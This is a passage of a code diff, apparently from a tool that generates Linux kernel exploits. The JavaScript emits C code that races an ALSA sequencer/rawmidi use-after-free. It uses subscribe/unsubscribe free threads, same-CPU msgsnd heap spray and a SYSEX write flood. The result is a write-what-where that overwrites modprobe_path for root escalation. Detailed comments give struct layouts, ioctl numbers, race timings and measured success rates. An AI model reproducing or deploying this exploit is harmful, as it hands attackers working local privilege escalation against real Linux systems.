INVARIANT across iterations (only the payload + len", "     change), so build it ONCE outside the hot loop \u2014 the manual flood rebuilds", "     it each call, but hoisting it shaves per-write work and keeps the writer's", "     kernel-path residency (its exposure to the fatal NULL window) minimal. */", "  memset(ev, 0, sizeof(*ev));", "  ev->type   = SNDRV_SEQ_EVENT_SYSEX;          /* 130: variable-length sysex */", "  /* LENGTH_VARIABLE selects the verbatim-copy path; PRIORITY_NORMAL mirrors", "     the manual proof's ev.flags (it ORs SNDRV_SEQ_PRIORITY_NORMAL too). */", "  ev->flags  = SNDRV_SEQ_EVENT_LENGTH_VARIABLE | SNDRV_SEQ_PRIORITY_NORMAL;", "  ev->queue  = SNDRV_SEQ_QUEUE_DIRECT;          /* 253: deliver now, no queue */", "  ev->source = g_self;       /* from our own application port            */", "  ev->dest.client = SNDRV_SEQ_ADDRESS_SUBSCRIBERS; /* 254: to our subscribers */", "  ev->dest.port   = g_self.port; /* subscribers of OUR port = subscribed hw */", "  while (g_race_run) {", "    /* SURVIVAL: escalating => flood the SHORT esc payload EVERY iteration (the", "       manual's pure-ESC flood, ~62 UAFs/boot). Only with no esc target staged", "       fall back to the large recon SYSEX so the UAF still fires for diagnostics.", "       Both are bounded by sizeof(g_recon_payload) so buf cannot overflow. */", "    int do_esc = (g_esc_len > 0);", "    const unsigned char *src = do_esc ? g_esc_payload : g_recon_payload;", "    unsigned long plen = do_esc", "      ? g_esc_len", "      : (g_recon_len ? g_recon_len : sizeof(g_recon_payload));", "    if (plen > sizeof(g_recon_payload)) plen = sizeof(g_recon_payload);", "    ev->data.ext.len = (unsigned int)plen; /* ext.ptr unused by userspace write */", "    /* Copy the SYSEX payload INLINE right after the 32-byte event header. */", "    memcpy(buf + sizeof(*ev), src, plen);", "    /* snd_seq_write reads the 32-byte event, then plen payload bytes inline,", "       and dump_midi feeds them verbatim to snd_rawmidi_kernel_write1. Count", "       only events the kernel actually accepted (n_write_ok) \u2014 the diagnostic", "       that distinguishes 'race mis-timed, write1 never reached' from a real", "       free->use landing. */", "    if (g_seq_fd >= 0 && write(g_seq_fd, buf, sizeof(*ev) + plen) > 0)", "      __sync_fetch_and_add(&g_n_write_ok, 1);", "  }", "  return NULL;", "}", "", ...emitKprobeWidener(params.faultingPc, params.widenOffset));
+  out.push("/* \u2500\u2500 Bug-specific trigger geometry: ALSA snd_seq / rawmidi UAF \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500", "   Single ALSA-seq subscription \u2192 subscriber count oscillates 0<->1, so", "   every OUTPUT-port unsubscribe FREES the snd_rawmidi_runtime (kmalloc-" + (slabNum(params.slabCache) ?? 192) + ") via", "   midisynth_unuse -> snd_rawmidi_kernel_release -> snd_rawmidi_runtime_free.", "   Racing an event flood (snd_seq_write -> event_process_midi ->", "   snd_rawmidi_kernel_write1) against the free drives the dangling memcpy" + (dst !== void 0 ? ` at runtime->buffer (obj +0x${dst.toString(16)})` : "") + (len !== void 0 ? ` for len obj +0x${len.toString(16)}` : "") + ". */", "", "#include <poll.h>", "#include <pthread.h>", "#include <signal.h>", "#include <sys/ioctl.h>", "", "/* Parse a ZERO_RACE_* env knob as an int, falling back to a default. Lets", "   the rig sweep the continuous-thread race timings without re-emitting. */", "static int osec_race_envint(const char *name, int dflt) {", "  const char *v = getenv(name);", "  if (!v || !v[0]) return dflt;", "  char *end = NULL;", "  long n = strtol(v, &end, 0);", "  if (!end || end == v) return dflt;", "  return (int)n;", "}", "", "/* Forward declarations \u2014 osec_spray_thread() (below) calls osec_reclaim_spray(),", "   whose definition is emitted LATER in the translation unit (the reclaim helper", "   block). Without this prototype the emitted C fails to compile (use-before-def /", "   'static declaration follows non-static declaration'). osec_pin_cpu() is defined", "   in the marker preamble (above) so it needs none. */", "static void osec_reclaim_spray(void);", "", "/* ALSA sequencer uapi \u2014 REAL layouts from include/uapi/sound/asequencer.h.", "   The struct SIZES are load-bearing: _IOWR/_IOW/_IOR encode sizeof(struct)", "   into the ioctl number, so a wrong size yields a wrong ioctl => -ENOTTY and", "   the kernel never runs the handler (the live boot's 'reaches DROP but ZERO", "   KASAN' symptom). The struct sizes below are the REAL uapi sizes, audited", "   by compilation against include/uapi/sound/asequencer.h:", "     snd_seq_addr           == 2 bytes", "     snd_seq_port_info      == 168 bytes", "     snd_seq_port_subscribe == 80 bytes   (was wrongly 32 \u2014 see below)", "     snd_seq_client_info    == 188 bytes", "     snd_seq_event          == 32 bytes   (was wrongly 28 \u2014 16-byte data union)", "   so that the _IOC-encoded ioctl numbers come out byte-for-byte equal to the", "   kernel's:", "     SNDRV_SEQ_IOCTL_CLIENT_ID         == 0x80045301", "     SNDRV_SEQ_IOCTL_CREATE_PORT       == 0xc0a85320", "     SNDRV_SEQ_IOCTL_DELETE_PORT       == 0x40a85321", "     SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT    == 0x40505330", "     SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT  == 0x40505331", "     SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT == 0xc0bc5351", "     SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT   == 0xc0a85352", "   Two live in-guest probes drove these fixes: the old 92-byte port_info", "   yielded the wrong CREATE_PORT number => -ENOTTY before the UAF could run;", "   and the old 32-byte port_subscribe yielded SUBSCRIBE_PORT == 0x40205330", "   (kernel expects 0x40505330) => -ENOTTY on SUBSCRIBE, so the runtime was", "   never freed and NO UAF fired. Both real uapi sizes (168 / 80) are below. */", "struct snd_seq_addr { unsigned char client; unsigned char port; };", "struct snd_seq_port_info {            /* 168 bytes \u2014 real uapi layout */", "  struct snd_seq_addr addr;           /* 0:   client/port */", "  char name[64];                      /* 2 */", "  unsigned int capability;            /* 68:  SNDRV_SEQ_PORT_CAP_* bitmask */", "  unsigned int type;                  /* 72:  SNDRV_SEQ_PORT_TYPE_* bitmask */", "  int midi_channels;                  /* 76 */", "  int midi_voices;                    /* 80 */", "  int synth_voices;                   /* 84 */", "  int read_use;                       /* 88 */", "  int write_use;                      /* 92 */", "  void *kernel;                       /* 96:  8-byte aligned kernel ptr */", "  unsigned int flags;                 /* 104 */", "  unsigned char time_queue;           /* 108 */", "  unsigned char direction;            /* 109 */", "  unsigned char ump_group;            /* 110 */", "  char reserved[57];                  /* 111: pad to exactly 168 */", "};", "struct snd_seq_port_subscribe {       /* 80 bytes \u2014 real uapi layout */", "  struct snd_seq_addr sender;         /* 0:  source port */", "  struct snd_seq_addr dest;           /* 2:  destination port */", "  unsigned int voices;                /* 4 */", "  unsigned int flags;                 /* 8 */", "  unsigned char queue;                /* 12 */", "  unsigned char pad[3];               /* 13 */", "  unsigned char reserved[64];         /* 16: ends at exactly 80 */", "};", "/* snd_seq_client_info \u2014 only `client` is read; full 188B size keeps the", "   QUERY_NEXT_CLIENT ioctl number (0xc0bc5351) correct. */", "struct snd_seq_client_info {          /* 188 bytes */", "  int client;                         /* 0 */", "  int type;                           /* 4 */", "  char name[64];                      /* 8 */", "  unsigned int filter;                /* 72 */", "  unsigned char multicast_filter[8];  /* 76 */", "  unsigned char event_filter[32];     /* 84 */", "  int num_ports;                      /* 116 */", "  int event_lost;                     /* 120 */", "  int card;                           /* 124 */", "  int pid;                            /* 128 */", "  unsigned int midi_version;          /* 132 */", "  unsigned int group_filter;          /* 136 */", "  char reserved[48];                  /* 140: ends at 188 */", "};", "/* Compile-time static asserts: a wrong size silently re-breaks the ABI. */", "_Static_assert(sizeof(struct snd_seq_port_info) == 168,", '               "snd_seq_port_info must be 168 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_port_subscribe) == 80,", '               "snd_seq_port_subscribe must be 80 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_addr) == 2,", '               "snd_seq_addr must be 2 bytes");', "_Static_assert(sizeof(struct snd_seq_client_info) == 188,", '               "snd_seq_client_info must be 188 bytes for the correct ioctl nr");', "", "/* ioctl numbers \u2014 computed from the REAL struct sizes via the standard", "   macros, so they come out byte-for-byte equal to the kernel's. */", "#define SNDRV_SEQ_IOCTL_CLIENT_ID         _IOR ('S', 0x01, int)", "#define SNDRV_SEQ_IOCTL_CREATE_PORT       _IOWR('S', 0x20, struct snd_seq_port_info)", "#define SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT    _IOW ('S', 0x30, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT  _IOW ('S', 0x31, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT _IOWR('S', 0x51, struct snd_seq_client_info)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT   _IOWR('S', 0x52, struct snd_seq_port_info)", "", "/* Port type/capability bits (asequencer.h). */", "#define SNDRV_SEQ_PORT_CAP_READ        (1<<0)   /* 0x01 */", "#define SNDRV_SEQ_PORT_CAP_WRITE       (1<<1)   /* 0x02 */", "#define SNDRV_SEQ_PORT_CAP_SUBS_READ   (1<<5)   /* 0x20: can be a subscribe src */", "#define SNDRV_SEQ_PORT_CAP_SUBS_WRITE  (1<<6)   /* 0x40: can be a subscribe dest */", "#define SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC (1<<1) /* 0x02 */", "#define SNDRV_SEQ_PORT_TYPE_APPLICATION  (1<<20)/* 0x100000: an app's own port */", "#define SNDRV_SEQ_PORT_TYPE_HARDWARE   (1<<16)  /* 0x10000: real card port */", "", "/* snd_seq_event \u2014 the REAL 32-byte wire layout from asequencer.h. The flood", "   thread writes these to /dev/snd/seq so the kernel routes them through", "   snd_seq_write -> snd_seq_deliver_event -> event_process_midi -> dump_midi ->", "   snd_rawmidi_kernel_write1 (the dangling write site). The variable-length", "   protocol: when ev.flags has LENGTH_VARIABLE, snd_seq_write reads the 32-byte", "   event header off the fd, then reads ev.data.ext.len payload bytes INLINE", "   immediately AFTER the event (userspace write ignores ext.ptr) \u2014 that payload", "   is what dump_midi feeds VERBATIM into runtime->buffer. Getting sizeof()==32", "   is load-bearing twice over: snd_seq_write reads events in", "   sizeof(struct snd_seq_event) strides, AND a wrong size shifts where the inline", "   payload begins, so a 28-byte struct desyncs the stream and the SYSEX event is", "   never parsed (the live-boot 'reaches write1 0 times' symptom). The data union", "   is 16 bytes because its largest member, snd_seq_ev_ext { u32 len; void *ptr; },", "   is 16 bytes on x86-64 under NATURAL alignment: len(4) + 4 pad + 8-aligned", "   ptr(8). It must NOT be packed \u2014 packing it to 12 would shrink the event to 28", "   and re-break the ABI. */", "struct snd_seq_ev_ext { unsigned int len; void *ptr; }; /* 16 bytes: len(4)+pad(4)+ptr(8), NATURAL alignment (not packed) */", "union snd_seq_event_data {            /* 16-byte data union (largest = ext) */", "  unsigned char raw8[16];", "  unsigned int raw32[4];", "  struct snd_seq_ev_ext ext;          /* variable-length: len + ptr (16 bytes) */", "};", "struct snd_seq_event {                /* 32 bytes \u2014 real uapi layout */", "  unsigned char type;                 /* 0:  SNDRV_SEQ_EVENT_* */", "  unsigned char flags;                /* 1:  LENGTH_* | etc. */", "  unsigned char tag;                  /* 2 */", "  unsigned char queue;                /* 3:  SNDRV_SEQ_QUEUE_DIRECT etc. */", "  unsigned int  time;                 /* 4:  union snd_seq_timestamp tick/real (8) */", "  unsigned int  time_hi;              /* 8:  second word of the time union */", "  struct snd_seq_addr source;         /* 12: 2 bytes */", "  struct snd_seq_addr dest;           /* 14: 2 bytes */", "  union snd_seq_event_data data;      /* 16: 16-byte data union -> ends at 32 */", "};", "_Static_assert(sizeof(struct snd_seq_event) == 32,", '               "snd_seq_event must be 32 bytes for snd_seq_write event striding");', "", "/* Event types + flags + addressing (asequencer.h). SYSEX is the verbatim-copy", "   path; SUBSCRIBERS+DIRECT route the event to our port's subscribers (the", "   subscribed hardware port) so it reaches snd_rawmidi_kernel_write1. */", "#define SNDRV_SEQ_EVENT_SYSEX            130    /* variable-length system-exclusive */", "#define SNDRV_SEQ_EVENT_LENGTH_VARIABLE  (1<<2) /* data is ext.len bytes, inline */", "#define SNDRV_SEQ_PRIORITY_NORMAL        (0<<4) /* manual proof ORs this into flags */", "#define SNDRV_SEQ_ADDRESS_SUBSCRIBERS    254    /* dest.client: deliver to subscribers */", "#define SNDRV_SEQ_QUEUE_DIRECT           253    /* ev.queue: bypass queue, deliver now */", "", "/* Shared race state across the CONTINUOUS flood / toggle / spray threads.", "   The manual proof (measured ~0.45% free-during-park x ~1% reclaim-win =>", "   ~1.6% end-to-end, ~1-in-6..8 boots) wins the coincidence ONLY because all", "   three roles run as tight while(running) loops simultaneously \u2014 NOT a bursty", "   512-iteration flood + one toggle per round. So: continuous SYSEX-flood", "   thread(s) keep snd_rawmidi_kernel_write1 hot (and parked by the kprobe", "   mdelay); a continuous subscribe(1)/unsubscribe(0) toggle thread re-arms the", "   free every iteration; and continuous msgsnd-2ndseg spray thread(s) pinned to", "   the SAME CPU as the free pop the just-freed kmalloc-192 slot off that CPU's", "   freelist before the parked writer derefs it. There is NO per-round arming", "   handshake anymore \u2014 the loops run free and the coincidence lands", "   probabilistically, exactly as the manual proof does. */", "static int g_seq_fd = -1;", "static int g_toggle_fd = -1; /* BUG#2 FIX: dedicated fd for subscribe/unsubscribe (manual proof uses a 2nd open) */", "static int g_rawmidi_fd = -1;", "static struct snd_seq_addr g_self;", "static struct snd_seq_addr g_hw;     /* discovered hardware MIDI synth port */", "static int g_have_hw = 0;            /* set iff osec_seq_find_hw_port() won */", "static volatile int g_race_run = 0;  /* 1 while the threads loop; 0 to stop  */", "/* g_n_write_ok / g_n_spray are declared in the marker preamble (always present)", "   so the spray helper can increment them on every path. n_write_ok counts SYSEX", "   events that actually reached the kernel write path \u2014 the load-bearing", "   diagnostic: 0 means the flood never drove event_process_midi -> dump_midi ->", "   snd_rawmidi_kernel_write1, so the freed runtime was never written through (no", "   KASAN UAF, no arb-write) regardless of everything downstream. */", "/* CPU topology. Manual default: the free + reclaim spray share one CPU (so", "   the freed slot is reclaimed from that CPU's per-CPU freelist); the flood", "   runs on another CPU. ZERO_RACE_SAME_CPU=1 collapses everything onto the", "   free CPU. g_cpu_free is declared in the preamble (osec_reclaim_spray()", "   pins to it too, so free + spray stay genuinely co-resident); the driver", "   sets both from the resolved topology before spawning. g_cpu_flood is", "   ALSA-specific (the flood thread is). */", `int g_cpu_flood = ${(params.pinCpu ?? 0) + 1};                 /* flood/USE CPU (different by default)   */`, "", "/* Discover the HARDWARE MIDI synth port to subscribe to. Self-subscription", "   frees nothing; the real free path needs a subscription onto the card's", "   synth port so unsubscribe drives midisynth_unuse -> snd_rawmidi_kernel_release", "   -> snd_rawmidi_runtime_free. Walk every client (>1, skip System=0/1) and", "   every port, taking the first that is STRICTLY a hardware-card port. The", "   filter MUST be strict: a live in-guest probe showed the loose '(HARDWARE ||", "   MIDI_GENERIC)' test matched the software 'Midi Through' loopback (14:0,", "   type=0xa0002, no HARDWARE bit) BEFORE the real MTPAV card (16:0,", "   type=0x90002, HARDWARE bit set) \u2014 and the loopback port has NO backing", "   snd_rawmidi_runtime, so its teardown frees nothing and no UAF fires. Require", "   the strict SNDRV_SEQ_PORT_TYPE_HARDWARE bit AND both CAP_WRITE and", "   CAP_SUBS_WRITE (mirroring the manual proof) so we target the real card whose", "   port has a runtime. Returns 0 on success, sets g_hw/g_have_hw. */", "static int osec_seq_find_hw_port(void) {", "  struct snd_seq_client_info ci; memset(&ci, 0, sizeof(ci));", "  ci.client = -1; /* QUERY_NEXT_CLIENT returns the first client > ci.client */", "  while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT, &ci) >= 0) {", "    if (ci.client <= 1) continue; /* skip System (0) and the timer (1) */", "    struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", "    pi.addr.client = (unsigned char)ci.client;", "    pi.addr.port = (unsigned char)-1; /* first port > -1 on this client */", "    while (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT, &pi) >= 0) {", "      /* STRICT: the real hardware-card synth bit only \u2014 NOT MIDI_GENERIC,", "         which the software loopback also sets (and which has no runtime). */", "      int is_hw = (pi.type & SNDRV_SEQ_PORT_TYPE_HARDWARE) != 0;", "      /* Mirror the manual proof: the port must accept a write subscription", "         (CAP_SUBS_WRITE) AND be writable (CAP_WRITE). */", "      int writable = (pi.capability & SNDRV_SEQ_PORT_CAP_WRITE) &&", "                     (pi.capability & SNDRV_SEQ_PORT_CAP_SUBS_WRITE);", "      if (is_hw && writable) {", "        g_hw = pi.addr; g_have_hw = 1;", "        return 0;", "      }", "    }", "  }", "  return -1; /* HONEST GAP: no hardware synth port found on this guest */", "}", "", "/* Build the topology whose teardown frees the runtime: our own port plus a", "   discovered hardware synth port to subscribe TO. */", "static int osec_seq_setup(void) {", '  g_seq_fd = open("/dev/snd/seq", O_RDWR);', "  if (g_seq_fd < 0) return -1;", "  /* Query our OWN client id. snd_seq_ioctl_create_port rejects (EPERM) any", "     port whose addr.client != the calling client, so this MUST be set on pi", "     before CREATE_PORT \u2014 an in-guest A/B test proved the unset (0) addr.client", "     was the EPERM cause; setting it to cid makes CREATE_PORT return rc=0. */", "  int cid = 0;", "  if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CLIENT_ID, &cid) < 0) return -1;", "  struct snd_seq_port_info pi; memset(&pi, 0, sizeof(pi));", "  pi.addr.client = (unsigned char)cid;        /* THE EPERM FIX: was unset (0) */", "  pi.capability  = SNDRV_SEQ_PORT_CAP_READ  | SNDRV_SEQ_PORT_CAP_SUBS_READ", "                 | SNDRV_SEQ_PORT_CAP_WRITE | SNDRV_SEQ_PORT_CAP_SUBS_WRITE;", "  pi.type        = SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC | SNDRV_SEQ_PORT_TYPE_APPLICATION;", "  pi.midi_channels = 16;", "  if (ioctl(g_seq_fd, SNDRV_SEQ_IOCTL_CREATE_PORT, &pi) < 0) return -1;", "  g_self.client = (unsigned char)cid; g_self.port = pi.addr.port;", "  /* Find the card's hardware MIDI synth port \u2014 the subscription onto THIS", "     port (not self) is what frees the snd_rawmidi_runtime on teardown. */", "  if (osec_seq_find_hw_port() != 0) return -1;", "  /* BUG#2 FIX: dedicated toggle fd (separate from the flood writer fd) so the", "     unsubscribe actually drives midisynth_unuse -> snd_rawmidi_runtime_free.", "     The manual proof opens a 2nd /dev/snd/seq for the toggle for exactly this:", "     running subscribe/unsubscribe on the SAME fd as the SYSEX flood writer did", "     not free the runtime the flood writes through (freed=0, no KASAN UAF). */", '  g_toggle_fd = open("/dev/snd/seq", O_RDWR);', "  if (g_toggle_fd < 0) return -1;", "  /* DO NOT open /dev/snd/midiC0D0 here. An in-guest A/B/C/D probe proved that", "     holding the rawmidi OUTPUT substream open makes the seq SUBSCRIBE return", "     EAGAIN (snd_rawmidi_kernel_open sees the substream already in use), so the", "     subscription never opens the runtime => no alloc/free => no UAF. The manual", "     proof never opens midiC0D0: the SUBSCRIBE itself opens the rawmidi", "     internally (that IS the alloc the UAF rides), and the USE is driven by", "     writing seq SYSEX events through g_seq_fd (event_process_midi ->", "     snd_rawmidi_kernel_write1). g_rawmidi_fd stays -1 here. */", "  return 0;", "}", "", "/* SUBSCRIBE then UNSUBSCRIBE on my_port -> discovered_hw_port: the unsubscribe", "   drops the hw synth's subscriber count to 0 and frees the snd_rawmidi_runtime.", "   sender (us) != dest (the hardware port) \u2014 self-subscription frees nothing.", "   Looped to re-arm the race each round. */", "static int osec_seq_sub(int subscribe) {", "  struct snd_seq_port_subscribe s; memset(&s, 0, sizeof(s));", "  s.sender = g_self; s.dest = g_hw;", "  /* BUG#2 FIX: toggle on g_toggle_fd (a dedicated 2nd /dev/snd/seq), NOT the", "     g_seq_fd the flood writes through \u2014 only then does the unsubscribe free the", "     runtime the flood uses (restores the KASAN slab-UAF, freed 0 -> >=1). */", "  return ioctl(g_toggle_fd, subscribe ? SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT", "                                   : SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT, &s);", "}", "", "/* CONTINUOUS TOGGLE/FREE thread: a tight while(running) loop doing", "   subscribe(1)/unsubscribe(0) on the hw port. Single subscription => the", "   count oscillates 0<->1 and EVERY unsubscribe frees the snd_rawmidi_runtime.", "   This runs CONTINUOUSLY, re-arming the free each iteration (NOT one toggle", "   per round) \u2014 that is what gives the parked writer a freshly-freed object to", "   land on at the manual-proof rate. Pinned to g_cpu_free so the freed slot", "   goes onto the SAME per-CPU freelist the reclaim spray pops from. */", "static void *osec_toggle_thread(void *arg) {", "  osec_pin_cpu(g_cpu_free);", "  while (g_race_run) {", "    osec_seq_sub(1);          /* subscriber 0->1 (allocates runtime)   */", "    osec_seq_sub(0);          /* subscriber 1->0 => FREE the runtime    */", "  }", "  return NULL;", "}", "", "/* CONTINUOUS RECLAIM spray thread: pinned to g_cpu_free (the SAME CPU as the", "   toggle/free) so the freed kmalloc-192 slot is reclaimed off that CPU's", "   freelist before the parked writer derefs it. osec_reclaim_spray() places", "   the controlled bytes (buffer@0x10 = inlined modprobe_path, len, scratch) and", "   re-pins to g_cpu_free itself; we run it in a tight loop. The manual proof", "   used ~10 of these threads; ZERO_RACE_SPRAY_THREADS sets the count. */", "static void *osec_spray_thread(void *arg) {", "  osec_pin_cpu(g_cpu_free);", "  while (g_race_run) {", "    osec_reclaim_spray();     /* same-CPU reclaim of the just-freed slot */", "  }", "  return NULL;", "}", "", "/* WRITE/flood thread: write SEQ SYSEX events through g_seq_fd, addressed from", "   our own port (g_self) to the SUBSCRIBERS of our port (the subscribed hardware", "   synth) via DIRECT delivery. The kernel routes them snd_seq_write ->", "   snd_seq_deliver_event -> event_process_midi -> dump_midi ->", "   snd_rawmidi_kernel_write1, so a write lands on the just-freed (or just-", "   reclaimed) runtime. SYSEX + LENGTH_VARIABLE is the verbatim-copy path: the", "   payload bytes (F0 .. F7) are copied straight into runtime->buffer.", "", "   INLINE PAYLOAD CONTRACT (this is what makes the flood reach write1): for a", "   variable-length event written from userspace, snd_seq_write IGNORES", "   ev.data.ext.ptr and instead reads ev.data.ext.len payload bytes from the fd", "   IMMEDIATELY AFTER the 32-byte event. So we build one contiguous buffer", "   [32-byte snd_seq_event][SYSEX payload] and write it in a single call:", "   write(g_seq_fd, buf, sizeof(struct snd_seq_event) + payload_len). The old", "   approach (ext.ptr = payload + write(&ev, sizeof(ev))) never delivered the", "   payload \u2014 userspace write doesn't dereference ext.ptr \u2014 so write1 was hit 0", "   times. dest.client = SUBSCRIBERS(254) + dest.port = g_self.port delivers to", "   the subscribers of OUR port (i.e. the hw synth we subscribed), and queue =", "   DIRECT(253) bypasses queueing so the event is dispatched inline now.", "", "   We DO NOT write to a rawmidi fd directly \u2014 driving the USE through the SEQ", "   event path is exactly what the manual proof does, and it leaves the rawmidi", "   output substream free for the SUBSCRIBE to open (no EAGAIN). */", "/* TWO distinct flood payloads, mirroring the manual proof (seqmidi_uaf5/6.c).", "   The flood thread uses EXACTLY ONE of them per boot depending on whether an", "   escalation target was staged (see osec_flood_thread for the why):", "", "   (1) ESCALATION payload \u2014 the short root-tail path string (e.g. /tmp/x\\0),", "       staged by the driver from the root-tail plan. THIS is the write-what-", "       where that overwrites modprobe_path; it is delivered VERBATIM (no F0/F7", "       wrapper) so the exact path bytes land at the target. When staged", "       (g_esc_len > 0) the flood sends ONLY this every iteration \u2014 the manual", "       root proof's pure-ESC behaviour (g_escalate=1, ESC_LEN=7). Bench-measured:", "       a 7-byte ESC flood trips KASAN ~62x/boot AND, being tiny, keeps the writer", "       out of the fatal __dump_midi NULL-runtime window ~15x longer than the old", "       2048B-recon-dominant flood (~4 UAFs before GPF). So the short payload", "       lands the UAF JUST FINE and survives \u2014 the large recon flood was both", "       unnecessary and the cause of the ~2.5s GPF.", "", "   (2) RECON payload \u2014 a LARGE SYSEX (the manual proof's SYSEX_LEN=2048 class).", "       Used ONLY as a fallback when NO escalation target is staged (recon-only /", "       no-vmlinux case), so the UAF still fires for diagnostics even with no", "       write-what-where to deliver.", "", "   ZERO_RECON_SYSEX_LEN sizes the recon payload (default 2048, manual class).", "   g_buf is sized to the recon payload (the larger of the two), so the short", "   escalation memcpy can NEVER overflow it (fixes the -Wstringop-overflow the", "   climb hit: 'memcpy writing 7 bytes into a region of size 0'). */", "#define OSEC_RECON_SYSEX_LEN_DEFAULT 2048", "static unsigned char g_recon_payload[OSEC_RECON_SYSEX_LEN_DEFAULT];", "static unsigned long g_recon_len = 0;", "static unsigned char g_esc_payload[256]; /* short root-tail path bytes, verbatim */", "static unsigned long g_esc_len = 0;      /* 0 until the driver stages the tail   */", "/* CONTINUOUS FLOOD thread: a tight while(running) loop that CONTINUOUSLY", "   writes the SYSEX seq events driving snd_rawmidi_kernel_write1.", "", "   FLOOD-SURVIVAL FIX (bench-measured, 2026-06-26). The free->use window where", "   __dump_midi reads substream->runtime is fatal in two sub-windows: the", "   dangling-but-non-NULL window (a RECOVERABLE KASAN use-after-free read, which", "   kasan_multi_shot tolerates) and the post-free NULL window (a HARD", "   __dump_midi+0x57 GPF: `mov 0x70(%rbp),%rbx; lea 0x38(%rbx)` with rbx==NULL", "   faults on the non-canonical KASAN shadow and KILLS the exploit process). A", "   single boot cannot avoid the NULL window entirely; SURVIVAL is a function of", "   how MANY recoverable UAF reads the flood lands before it drifts into the", "   fatal one. The manual proof (seqmidi_uaf6 flood_sysex) sustains ~62 UAFs", "   over ~12s before the GPF; the OLD engine body \u2014 which flooded the LARGE 2048B", "   recon SYSEX on 7 of every 8 writes \u2014 drifted into the NULL window after only", "   ~4 UAFs / ~2.5s, because each 2080B write spends far longer in the kernel", "   write path (so the writer is exposed to the NULL window far more per write,", "   AND does a 2048B verbatim memcpy into the freed/reclaimed runtime->buffer", "   that itself amplifies fatal landings). The manual's escalation-mode flood is", "   PURE SHORT payload (ESC_LEN==7) and still trips KASAN ~62x \u2014 the large recon", "   flood is NEITHER needed to fire the UAF NOR survivable.", "", "   So: when an escalation payload is staged (g_esc_len > 0) flood ONLY the short", "   ESC payload every iteration (the modprobe_path write-what-where, exactly the", "   manual root proof's g_escalate=1 behaviour) \u2014 small writes => high iteration", "   rate => many recoverable UAF reads before the fatal window, AND every write", "   is the escalation write so a won reclaim lands /tmp/x. Only when NO esc", "   payload is staged (recon-only / no-target case) fall back to the large recon", "   SYSEX so the UAF still fires for diagnostics. The kprobe mdelay (when the", "   target has it) still parks the writer in the dangling window. Pinned to", "   g_cpu_flood (a different CPU from free+spray under the manual topology; same", "   CPU if ZERO_RACE_SAME_CPU=1). */", "static void *osec_flood_thread(void *arg) {", "  osec_pin_cpu(g_cpu_flood);", "  /* One contiguous buffer: the 32-byte event header followed by the inline", "     SYSEX payload the write site copies verbatim into runtime->buffer. Sized to", "     the recon payload (the larger of recon/esc) so neither memcpy overflows. */", "  unsigned char buf[sizeof(struct snd_seq_event) + sizeof(g_recon_payload)];", "  struct snd_seq_event *ev = (struct snd_seq_event *)buf;", "  /* The event header is INVARIANT across iterations (only the payload + len", "     change), so build it ONCE outside the hot loop \u2014 the manual flood rebuilds", "     it each call, but hoisting it shaves per-write work and keeps the writer's", "     kernel-path residency (its exposure to the fatal NULL window) minimal. */", "  memset(ev, 0, sizeof(*ev));", "  ev->type   = SNDRV_SEQ_EVENT_SYSEX;          /* 130: variable-length sysex */", "  /* LENGTH_VARIABLE selects the verbatim-copy path; PRIORITY_NORMAL mirrors", "     the manual proof's ev.flags (it ORs SNDRV_SEQ_PRIORITY_NORMAL too). */", "  ev->flags  = SNDRV_SEQ_EVENT_LENGTH_VARIABLE | SNDRV_SEQ_PRIORITY_NORMAL;", "  ev->queue  = SNDRV_SEQ_QUEUE_DIRECT;          /* 253: deliver now, no queue */", "  ev->source = g_self;       /* from our own application port            */", "  ev->dest.client = SNDRV_SEQ_ADDRESS_SUBSCRIBERS; /* 254: to our subscribers */", "  ev->dest.port   = g_self.port; /* subscribers of OUR port = subscribed hw */", "  while (g_race_run) {", "    /* SURVIVAL: escalating => flood the SHORT esc payload EVERY iteration (the", "       manual's pure-ESC flood, ~62 UAFs/boot). Only with no esc target staged", "       fall back to the large recon SYSEX so the UAF still fires for diagnostics.", "       Both are bounded by sizeof(g_recon_payload) so buf cannot overflow. */", "    int do_esc = (g_esc_len > 0);", "    const unsigned char *src = do_esc ? g_esc_payload : g_recon_payload;", "    unsigned long plen = do_esc", "      ? g_esc_len", "      : (g_recon_len ? g_recon_len : sizeof(g_recon_payload));", "    if (plen > sizeof(g_recon_payload)) plen = sizeof(g_recon_payload);", "    ev->data.ext.len = (unsigned int)plen; /* ext.ptr unused by userspace write */", "    /* Copy the SYSEX payload INLINE right after the 32-byte event header. */", "    memcpy(buf + sizeof(*ev), src, plen);", "    /* snd_seq_write reads the 32-byte event, then plen payload bytes inline,", "       and dump_midi feeds them verbatim to snd_rawmidi_kernel_write1. Count", "       only events the kernel actually accepted (n_write_ok) \u2014 the diagnostic", "       that distinguishes 'race mis-timed, write1 never reached' from a real", "       free->use landing. */", "    if (g_seq_fd >= 0 && write(g_seq_fd, buf, sizeof(*ev) + plen) > 0)", "      __sync_fetch_and_add(&g_n_write_ok, 1);", "  }", "  return NULL;", "}", "", ...emitKprobeWidener(params.faultingPc, params.widenOffset));
   return out;
 }
 function slabNum(hint) {
@@ -579,11 +579,11 @@ function emitTriggerDriver(params) {
     "  /* Drive the real free/race for this UAF object using the manual proof's",
     "     CONTINUOUS-thread model. All key timings are env-tunable so the rig can",
     "     sweep the coincidence rate WITHOUT re-emitting:",
-    `       0SEC_RACE_FLOOD_THREADS (default ${floodDefault}) \u2014 continuous SYSEX flood threads`,
